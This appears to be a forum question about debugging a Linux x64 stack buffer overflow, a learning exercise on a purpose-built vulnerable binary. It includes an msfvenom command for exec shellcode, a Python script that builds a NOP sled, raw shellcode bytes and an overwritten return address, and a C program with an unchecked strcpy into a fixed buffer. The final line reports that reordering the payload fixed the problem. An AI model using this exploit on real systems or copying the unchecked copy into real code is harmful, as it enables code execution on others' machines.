I use msfvenom generated shellcode in buffer overflow. Here's command that i used to create shellcode for linux x64:
msfvenom -p linux/x64/exec -f py -o shellcode.py -b '\x00' CMD=whoami
and here's my python code to generate input.txt to read input from that file as payload.
#!/usr/bin/python
from struct import *
buffer = ''
buffer += '\x90'*177
buffer += b"\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d"
buffer += b"\x05\xef\xff\xff\xff\x48\xbb\x0c\xba\x64\x29\x60"
buffer += b"\x92\x04\x0b\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buffer += b"\xff\xe2\xf4\x44\x02\x4b\x4b\x09\xfc\x2b\x78\x64"
buffer += b"\xba\xfd\x79\x34\xcd\x56\x6d\x64\x97\x07\x7d\x3e"
buffer += b"\xc0\xec\x0c\x0c\xba\x64\x5e\x08\xfd\x65\x66\x65"
buffer += b"\xba\x32\x7e\x34\xcc\x6e\x30\x54\xb5\x61\x29\x60"
buffer += b"\x92\x04\x0b"
buffer += pack("<Q", 0x7fffffffd8c0)
f = open("input.txt", "w")
f.write(buffer)
Here's my main vulnerable code.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int copytobuffer(char* input)
{
char buffer[256];
strcpy (buffer,input);
return 0;
}
void main (int argc, char *argv[])
{
int local_variable = 1;
copytobuffer(argv[1]);
exit(0);
}
i need 264 bytes payload to override return address above python code will generate payload for that, but the bigges problem is that, shellcode contains 0x00 bad characters, even i use -b '0x00' argument in msfvenom.
as we can see above screenshot gdb shows 0x00 bytes in shellcode(0x7fffffffd948) after 0x90(NOPs). I think that is the main reason why i cannot run command. so basically buffer contains about 216 bytes until that 0x00 bytes because of that buffer[256] not filled and program exit normally.
Is there any way to generate shellcode without that bad characters, as i experienced msfvenom -b option not work correctly.

0x00's into memory that was the main reason for that exploit. basically after placing shellcode first, then placing0x90(NOP's)solved my problem.